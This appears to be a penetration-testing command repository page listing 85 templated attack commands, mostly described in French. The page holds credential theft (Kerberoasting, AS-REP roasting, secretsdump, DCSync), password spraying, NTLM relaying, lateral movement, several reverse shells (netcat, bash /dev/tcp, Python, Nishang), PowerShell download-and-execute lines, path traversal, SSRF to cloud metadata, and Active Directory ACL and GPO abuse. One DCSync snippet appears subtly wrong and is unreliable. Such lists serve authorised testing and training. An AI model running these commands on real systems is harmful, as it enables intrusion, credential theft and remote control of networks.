Commandr
Centralized command repository for security researchers and penetration testers
Variables Configuration
Configure your target variables. Enable Fill Variables to substitute values into commands (e.g.
$TARGET)./
Filter by Tags
Commands must match every selected tag.
Commands
Showing 85 of 85 commands
nmap -p 445 --script smb-enum-shares.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGETnmap -p 445 --script smb-enum-sessions.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGETnmap -p 445 --script smb-brute.nse --script-args userdb=users.txt,passdb=passwords.txt $TARGETLister les partages SMB (smbclient)
Lister les partages SMB accessibles avec des identifiants.
Tool repository smbclient -L //$TARGET/ -U $USER%$PASSWORDsmbclient //$TARGET/SHARE_NAME -U $USER%$PASSWORDLister les utilisateurs du domaine (rpcclient)
Énumérer les utilisateurs d'un domaine Active Directory.
Tool repository rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "enumdomusers" $TARGETObtenir les informations du domaine (rpcclient)
Récupérer des informations sur le domaine Active Directory.
Tool repository rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "querydominfo" $TARGETÉnumération LDAP de base (ldapsearch)
Requête LDAP de base pour énumérer tous les objets.
Tool repository ldapsearch -x -H ldap://$TARGET -b "$BASE_DN" "(objectClass=*)"Énumération des utilisateurs LDAP (ldapsearch)
Lister les sAMAccountName des utilisateurs via LDAP avec authentification.
Tool repository ldapsearch -x -H ldap://$TARGET -D "$DOMAIN\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountNameÉnumération des groupes LDAP (ldapsearch)
Lister les noms communs (cn) des groupes via LDAP avec authentification.
Tool repository ldapsearch -x -H ldap://$TARGET -D "$DOMAIN\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=group)" cnKerbrute - User Enumeration (kerbrute)
Énumérer les utilisateurs valides via Kerberos.
Tool repository ./kerbrute userenum --dc $TARGET -d $DOMAIN users.txtKerbrute - Password Spraying (kerbrute)
Tenter un mot de passe unique contre une liste d'utilisateurs via Kerberos.
Tool repository ./kerbrute passwordspray --dc $TARGET -d $DOMAIN users.txt '$PASSWORD'GetNPUsers - AS-REP Roasting (Impacket)
Récupérer les hashes AS-REP des comptes ne requérant pas de pré-authentification Kerberos (AS-REP Roasting).
Tool repository GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $TARGET -format hashcat -outputfile asrep.hashGetUserSPNs - Kerberoasting (Impacket)
Récupérer les TGS pour les comptes de service (Kerberoasting).
Tool repository GetUserSPNs.py -request -dc-ip $TARGET $DOMAIN/$USER:$PASSWORDSecretsdump (Impacket)
Extraire les secrets (hashes NTDS.DIT, LSA secrets) d'un contrôleur de domaine.
Tool repository secretsdump.py $DOMAIN/$USER:$PASSWORD@$TARGETpsexec.py $DOMAIN/$USER:$PASSWORD@$TARGETsmbexec.py $DOMAIN/$USER:$PASSWORD@$TARGETwmiexec.py $DOMAIN/$USER:$PASSWORD@$TARGETSharpHound.exe -c All -d $DOMAIN --DomainController $TARGETnmap -sS -p- -T4 $TARGETnmap -sU --top-ports 200 -T4 $TARGETScan de versions et scripts par défaut (nmap)
Détecter les versions des services et exécuter les scripts par défaut.
Tool repository nmap -sV -sC $TARGETnmap --script http-enum -p 80,443 $TARGETScan de vulnérabilités HTTP (nmap)
Rechercher des vulnérabilités web connues avec les scripts nmap.
Tool repository nmap --script http-vuln* -p 80,443 $TARGETBrute-force de répertoires web (gobuster)
Brute-forcer les répertoires et fichiers sur un serveur web.
Tool repository gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtgobuster dns -d $DOMAIN -w /usr/share/wordlists/subdomains.txtgobuster vhost -u http://$DOMAIN/ -w /usr/share/wordlists/vhosts.txt --append-domainnikto -h http://$TARGET/Scan SQLMap GET
Tester une injection SQL sur un paramètre GET et lister les bases de données.
Tool repository sqlmap -u "http://$TARGET/vuln_page.php?id=1" --batch --dbssqlmap -u "http://$TARGET/login.php" --data="user=test&pass=test&submit=login" --batch --dbsÉnumération de fichiers SUID/SGID (Linux)
Trouver les fichiers avec les bits SUID ou SGID positionnés.
Tool repository find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/nullgetcap -r / 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.*; for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; doneVérifier les services en cours d'exécution (Linux)
Lister les processus et services actifs.
Tool repository ps aux; systemctl list-units --type=service --state=running; service --status-allÉcoute de port avec Netcat (Linux/Windows)
Mettre en place un écouteur Netcat sur un port spécifié.
Tool repository nc -lvnp $PORTrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LOCAL_IP $PORT >/tmp/fbash -i >& /dev/tcp/$LOCAL_IP/$PORT 0>&1python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LOCAL_IP",$PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])'Télécharger un fichier avec wget (Linux)
Télécharger un fichier depuis un serveur HTTP.
Tool repository wget http://$LOCAL_IP:$PORT/file -O /tmp/fileTélécharger un fichier avec curl (Linux)
Télécharger un fichier depuis un serveur HTTP.
Tool repository curl http://$LOCAL_IP:$PORT/file -o /tmp/fileServir des fichiers avec un serveur HTTP Python (Linux/Windows)
Démarrer un serveur HTTP simple pour servir des fichiers depuis le répertoire courant.
Tool repository python3 -m http.server $PORTLinEnum.sh - Script d'énumération Linux
Script complet d'énumération des informations système et des potentielles faiblesses de configuration pour l'escalade de privilèges.
Tool repository wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh; chmod +x /tmp/LinEnum.sh; /tmp/LinEnum.sh -r report.txt -e /tmp/ -tPEASS-ng (linPEAS) - Script d'énumération
Script d'énumération pour Windows (winPEAS) ou Linux (linPEAS) pour la recherche de vecteurs d'escalade de privilèges.
Tool repository wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh -anxc smb $TARGET -u $USER -p $PASSWORD --sharesnxc smb $TARGET -u $USER -p $PASSWORD --smb-sessionsNXC - Exécution de commande (via wmiexec)
Exécuter une commande à distance avec NXC (utilise différents protocoles dont WMI).
Tool repository nxc smb $TARGET -u $USER -p $PASSWORD -x "whoami" --exec-method wmiexecnxc smb $TARGET -u $USER -p $PASSWORD --samnxc smb $TARGET -u users.txt -p "$PASSWORD"nxc ldap $TARGET -u $USER -p $PASSWORD --usersnxc ldap $TARGET -u $USER -p $PASSWORD --groupsevil-winrm -i $TARGET -u $USER -p $PASSWORDhashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txtJohn the Ripper - Crack de hash /etc/shadow
Cracker des hashes de mots de passe Linux (format /etc/shadow).
Tool repository john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txtResponder - Empoisonnement LLMNR/NBT-NS/MDNS
Lancer Responder pour capturer les hashes Net-NTLM.
Tool repository responder -I eth0 -vntlmrelayx - Relais NTLM
Relayer des authentifications NTLM pour exécuter des commandes.
Tool repository ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"dnsrecon -d $DOMAIN -t std,srv,axfr,zonewalkEnum4linux-ng - Énumération Windows/Samba
Script d'énumération complet pour les systèmes Windows et Samba.
Tool repository enum4linux-ng.py $TARGET -A -oA enum_resultsRecherche de exploits (searchsploit)
Rechercher des exploits dans la base de données locale d'Exploit-DB.
Tool repository searchsploit -w apachePowerShell - Télécharger et exécuter un script
Télécharger et exécuter un script PowerShell en mémoire.
Tool repository powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://$LOCAL_IP:$PORT/script.ps1')"PowerShell - Reverse Shell (Nishang)
Utiliser le script Invoke-PowerShellTcp de Nishang pour un reverse shell.
Tool repository powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $LOCAL_IP -Port $PORT"Chisel - Tunneling TCP/UDP via HTTP
Créer un proxy SOCKS inverse avec Chisel : lancez le serveur sur votre machine, puis le client sur la cible.
Tool repository chisel server -p $PORT --reverse # sur l'attaquant
chisel client $LOCAL_IP:$PORT R:1080:socks # sur la cible (proxy SOCKS sur 127.0.0.1:1080)Certipy - Énumération et abus de certificats AD CS
Trouver les templates de certificats vulnérables et les CA dans Active Directory Certificate Services.
Tool repository certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -stdout -vulnerableCertipy - Requête de certificat (ESC1)
Demander un certificat en se faisant passer pour un autre utilisateur (ex: admin) si ESC1 est exploitable.
Tool repository certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET -ca '$CA_NAME' -template '$TEMPLATE_NAME' -upn '$ADMIN_USER@$DOMAIN'Certipy - Authentification avec certificat
S'authentifier en utilisant un certificat PFX obtenu.
Tool repository certipy auth -pfx cert.pfx -dc-ip $TARGET -username $FORGED_USER -domain $DOMAINCoercer - Authentification de machine (PrinterBug)
Tenter de forcer une machine (ex: un DC) à s'authentifier sur une machine contrôlée (listener) via le spooler service.
Tool repository Coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN -t $TARGET_DC -I $LOCAL_IPPetitPotam - Forcer l'authentification NTLM via EFSRPC
Forcer une machine Windows à s'authentifier sur une machine arbitraire via MS-EFSRPC.
Tool repository python3 PetitPotam.py $LOCAL_IP $TARGET_DC -u $USER -p $PASSWORD -d $DOMAINScan de vulnérabilités web avec Nuclei
Scanner une URL avec des templates Nuclei pour des CVEs.
Tool repository nuclei -u http://$TARGET -t ~/nuclei-templates/cves/Scan de technologies web avec Wappalyzer (CLI)
Identifier les technologies utilisées par un site web.
Tool repository wappalyzer http://$TARGETTest de traversée de répertoire (Path Traversal)
Tentative basique de path traversal pour lire /etc/passwd (--path-as-is empêche curl de normaliser les ../).
Tool repository curl --path-as-is http://$TARGET/../../../../etc/passwdTest de Server-Side Request Forgery (SSRF) basique
Tentative basique de SSRF pour accéder aux métadonnées d'instance cloud.
Tool repository curl -X POST -d 'url=http://169.254.169.254/latest/meta-data/' http://$TARGET/proxy?url=Gopherus pour SSRF vers des services internes
Générer une payload Gopher pour exploiter un SSRF vers un service interne comme MySQL.
Tool repository gopherus --exploit mysqlBloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (PowerShell)
Exploiter GenericAll/GenericWrite sur un utilisateur pour réinitialiser son mot de passe. Nécessite des outils AD PowerShell et des droits suffisants pour exécuter sur/contre un DC ou une machine avec les outils RSAT.
Tool repository Set-ADAccountPassword -Identity $TARGET_USER -NewPassword $(ConvertTo-SecureString -String '$NEW_PASSWORD' -AsPlainText -Force) -Reset -Server $DOMAIN_CONTROLLERBloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (rpcclient)
Utiliser rpcclient pour réinitialiser le mot de passe d'un utilisateur cible si vous avez GenericWrite/GenericAll dessus. Le compte $ATTACKER_USER a le droit sur $TARGET_USER.
Tool repository rpcclient -U "$DOMAIN\$ATTACKER_USER%$ATTACKER_PASSWORD" -c "setuserinfo2 \"$TARGET_USER\" 24 \"$NEW_PASSWORD\"" $DOMAIN_CONTROLLER_IPBloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (PowerShell)
Exploiter GenericAll/GenericWrite sur un groupe pour y ajouter un utilisateur. $USER_TO_ADD peut être votre utilisateur compromis.
Tool repository Add-ADGroupMember -Identity "$TARGET_GROUP" -Members "$USER_TO_ADD" -Server $DOMAIN_CONTROLLERBloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (net group)
Alternative avec 'net group' pour ajouter un utilisateur à un groupe. Exécuter depuis une machine jointe au domaine ou via psexec/winrm.
Tool repository net group "$TARGET_GROUP_NAME" "$USER_TO_ADD" /add /domainBloodHound: WriteDacl sur un Utilisateur/Groupe - Donner DCSync (PowerShell)
Si vous avez WriteDacl sur l'objet domaine, vous pouvez vous donner les droits DCSync. Ici, on donne à un $TARGET_USER_FOR_DCSYNC les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All. Complexe, à adapter avec soin.
Tool repository $TargetUser = Get-ADUser -Identity $TARGET_USER_FOR_DCSYNC; $ACL = Get-Acl -Path "AD:$($TargetUser.DistinguishedName)"; $SID = [System.Security.Principal.SecurityIdentifier] "S-1-5-32-544"; $ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes", "Allow"; $ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes All", "Allow"; $ACL.AddAccessRule($ACE1); $ACL.AddAccessRule($ACE2); Set-Acl -Path "AD:$($TargetUser.DistinguishedName)" -AclObject $ACLBloodHound: WriteDacl sur un Utilisateur - Se donner GenericAll (PowerShell)
Exploiter WriteDacl sur un objet (ex: utilisateur, groupe, ordinateur) pour s'accorder (à $YOUR_CONTROLLED_USER) le droit GenericAll sur cet objet.
Tool repository $Target = Get-ADUser -Identity '$TARGET_USER_ON_WHICH_YOU_HAVE_WRITEDACL'; $SID = ([System.Security.Principal.NTAccount]'$DOMAIN\$YOUR_CONTROLLED_USER').Translate([System.Security.Principal.SecurityIdentifier]); $ACL = Get-Acl -Path "AD:$($Target.DistinguishedName)"; $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID,'GenericAll','Allow'; $ACL.AddAccessRule($ACE); Set-Acl -Path "AD:$($Target.DistinguishedName)" -AclObject $ACLBloodHound: GenericAll/WriteProperty sur Ordinateur - Abus de délégation basée sur les ressources (RBCD)
Si vous avez GenericAll/WriteProperty (spécifiquement pour msDS-AllowedToActOnBehalfOfOtherIdentity) sur un ordinateur cible ($VICTIM_COMPUTER_NAME), vous pouvez configurer RBCD pour qu'un ordinateur que vous contrôlez ($ATTACKER_COMPUTER_NAME) puisse s'authentifier en tant qu'utilisateur sur l'ordinateur cible.
Tool repository rbcd.py -action write -delegate-to $ATTACKER_COMPUTER_NAME\$ -target-spn HOST/$VICTIM_COMPUTER_NAME -dc-ip $DOMAIN_CONTROLLER_IP '$DOMAIN/$USER_WITH_WRITE_PRIVS:$PASSWORD'BloodHound: GenericAll/WriteProperty sur Ordinateur - Shadow Credentials (Whisker/Certipy)
Abus de msDS-KeyCredentialLink (GenericAll/GenericWrite sur un objet ordinateur) : 'certipy shadow auto' ajoute une clé, s'authentifie et récupère le hash NT du compte machine. Whisker (C#) fait l'équivalent sous Windows.
Tool repository certipy shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -account '$TARGET_COMPUTER_NAME$' -dc-ip $DOMAIN_CONTROLLER_IPBloodHound: WriteOwner sur Objet - Prendre possession puis WriteDacl
Si vous avez WriteOwner sur un objet, vous pouvez en devenir propriétaire, puis modifier sa DACL pour vous accorder GenericAll. Nécessite un script comme Set-Owner.ps1 ou des appels LDAP/ADSI complexes.
Tool repository Set-Owner.ps1 -TargetSamAccountName $TARGET_OBJECT_SAMNAME -NewOwnerSamAccountName $YOUR_CONTROLLED_USER_SAMNAME; # Ensuite, utiliser Set-ACL pour se donner GenericAllBloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (SharpGPOAbuse)
Si vous avez GenericAll/WriteProperty sur un objet GPO, vous pouvez le modifier pour, par exemple, ajouter un utilisateur au groupe Administrateurs local sur les machines où la GPO s'applique.
Tool repository SharpGPOAbuse.exe --AddLocalAdmin --UserAccount $YOUR_USER --GPOName "$TARGET_GPO_NAME"BloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (PowerShell pour Immediate Task)
Modifier une GPO pour exécuter une commande ou un script sur les ordinateurs affectés. Nécessite les cmdlets PowerShell de gestion des GPO ou une interaction directe avec SYSVOL et les objets GPO LDAP. Ceci est un pseudo-code conceptuel.
Tool repository SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "$DOMAIN\$USER" --Command "cmd.exe" --Arguments "/c script.bat" --GPOName "$TARGET_GPO_NAME"BloodHound: DCSync (Droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All)
Si un utilisateur ($USER_WITH_DCSYNC_RIGHTS) a les droits DCSync sur le domaine, il peut répliquer les secrets de n'importe quel utilisateur, y compris krbtgt.
Tool repository secretsdump.py -just-dc-user '$TARGET_USER_TO_DUMP' '$DOMAIN/$USER:$PASSWORD@$DOMAIN_CONTROLLER_IP'BloodHound: Ajout d'utilisateur à un groupe (net rpc)
Exploiter le droit d'ajouter un membre à un groupe (ex: GenericWrite, WriteProperty sur 'member', AddMember) en utilisant 'net rpc'. $CONTROLLED_USER est le compte ayant le droit sur $TARGET_GROUP. $TARGET_USER_TO_ADD est l'utilisateur à ajouter.
Tool repository net rpc group addmem "$TARGET_GROUP" "$TARGET_USER_TO_ADD" -U "$DOMAIN\$CONTROLLED_USER%$PASSWORD" -S "$DOMAIN_CONTROLLER"NXC: Collecte BloodHound via LDAP
Utiliser NXC (NXC) pour collecter toutes les données BloodHound via le protocole LDAP, en utilisant le contrôleur de domaine cible ($TARGET) comme serveur DNS pour la résolution. Remplacez $USER et $PASSWORD par des identifiants valides pour le domaine.
Tool repository nxc ldap $TARGET -u '$USER' -p '$PASSWORD' --bloodhound -c All --dns-server $TARGET